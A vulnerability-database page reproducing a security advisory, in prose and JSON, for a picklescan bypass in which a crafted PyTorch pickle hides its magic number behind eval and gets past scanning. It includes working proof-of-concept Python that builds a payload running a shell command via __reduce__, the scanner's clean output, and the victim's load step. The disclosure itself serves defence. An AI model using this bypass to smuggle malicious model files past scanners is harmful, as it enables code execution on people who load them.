GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-97F8-7CMV-76J2

Vulnerability from github – Published: 2026-02-18 17:45 – Updated: 2026-06-18 14:43
VLAI
Summary
Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER
Details

Summary

This is a scanning bypass to scan_pytorch function in picklescan. As we can see in the implementation of get_magic_number() that uses pickletools.genops(data) to get the magic_number with the condition opcode.name includes INT or LONG, but the PyTorch's implemtation simply uses pickle_module.load() to get this magic_number. For this implementation difference, we then can embed the magic_code into the PyTorch file via dynamic eval on the \_\_reduce\_\_ trick, which can make the pickletools.genops(data) cannot get the magic_code in INT or LONG type, but the pickle_module.load() can still return the same magic_code, eading to a bypass.

PoC

Attack Step 1

we can edit the source code of the function _legacy_save() as follows:

    class payload:
        def __reduce__(self):
            return (eval, ('MAGIC_NUMBER',))

    pickle_module.dump(payload(), f, protocol=pickle_protocol)

Attack Step 2

with the modified version of PyTorch, we run the following PoC to generate the payload.pt:

import torch 

class payload:
    def __reduce__(self):
        return (__import__('os').system, ('touch /tmp/hacked',))

torch.save(payload(), './payload.pt', _use_new_zipfile_serialization = False)

Picklescan result

ERROR: Invalid magic number for file /home/pzhou/bug-bunty/pytorch/PoC/payload.pt: None != 119547037146038801333356
----------- SCAN SUMMARY -----------
Scanned files: 0
Infected files: 0
Dangerous globals: 0

Victim Step

import torch
torch.load('./payload.pt', weights_only=False)

then you can find the illegal file /tmp/hacked created in your local system.

Impact

Craft malicious PyTorch payloads to bypass picklescan, then recall ACE/RCE.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53875"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-18T17:45:52Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThis is a scanning bypass to `scan_pytorch` function in `picklescan`. As we can see in the implementation of [get_magic_number()](https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/torch.py#L76C5-L84) that uses `pickletools.genops(data)` to get the `magic_number` with the condition `opcode.name` includes `INT` or `LONG`, but the PyTorch\u0027s implemtation simply uses [pickle_module.load()](https://github.com/pytorch/pytorch/blob/134179474539648ba7dee1317959529fbd0e7f89/torch/serialization.py#L1797) to get this `magic_number`. For this implementation difference, we then can embed the `magic_code` into the `PyTorch` file via dynamic `eval` on the `\\_\\_reduce\\_\\_` trick, which can make the `pickletools.genops(data)` cannot get the `magic_code` in `INT` or `LONG` type, but the `pickle_module.load()` can still return the same `magic_code`, eading to a bypass.\n\n### PoC\n#### Attack Step 1\nwe can edit the source code of the function [\\_legacy\\_save()](https://github.com/pytorch/pytorch/blob/134179474539648ba7dee1317959529fbd0e7f89/torch/serialization.py#L1120) as follows:\n```Python\n    class payload:\n        def __reduce__(self):\n            return (eval, (\u0027MAGIC_NUMBER\u0027,))\n\n    pickle_module.dump(payload(), f, protocol=pickle_protocol)\n```\n#### Attack Step 2\nwith the modified version of `PyTorch`, we run the following PoC to generate the `payload.pt`:\n```Python\nimport torch \n\nclass payload:\n    def __reduce__(self):\n        return (__import__(\u0027os\u0027).system, (\u0027touch /tmp/hacked\u0027,))\n\ntorch.save(payload(), \u0027./payload.pt\u0027, _use_new_zipfile_serialization = False)\n```\n\n#### Picklescan result\n```\nERROR: Invalid magic number for file /home/pzhou/bug-bunty/pytorch/PoC/payload.pt: None != 119547037146038801333356\n----------- SCAN SUMMARY -----------\nScanned files: 0\nInfected files: 0\nDangerous globals: 0\n```\n\n#### Victim Step\n```Python\nimport torch\ntorch.load(\u0027./payload.pt\u0027, weights_only=False)\n```\nthen you can find the illegal file `/tmp/hacked` created in your local system.\n\n### Impact\nCraft malicious `PyTorch` payloads to bypass `picklescan`, then recall ACE/RCE.",
  "id": "GHSA-97f8-7cmv-76j2",
  "modified": "2026-06-18T14:43:46Z",
  "published": "2026-02-18T17:45:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-97f8-7cmv-76j2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53875"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/134179474539648ba7dee1317959529fbd0e7f89"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/2a8383cfeb4158567f9770d86597300c9e508d0f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/b9997634683a4f4bd0c7e3701e7ce7e90fe70e8c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/picklescan-scanning-bypass-via-dynamic-eval-in-scan-pytorch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…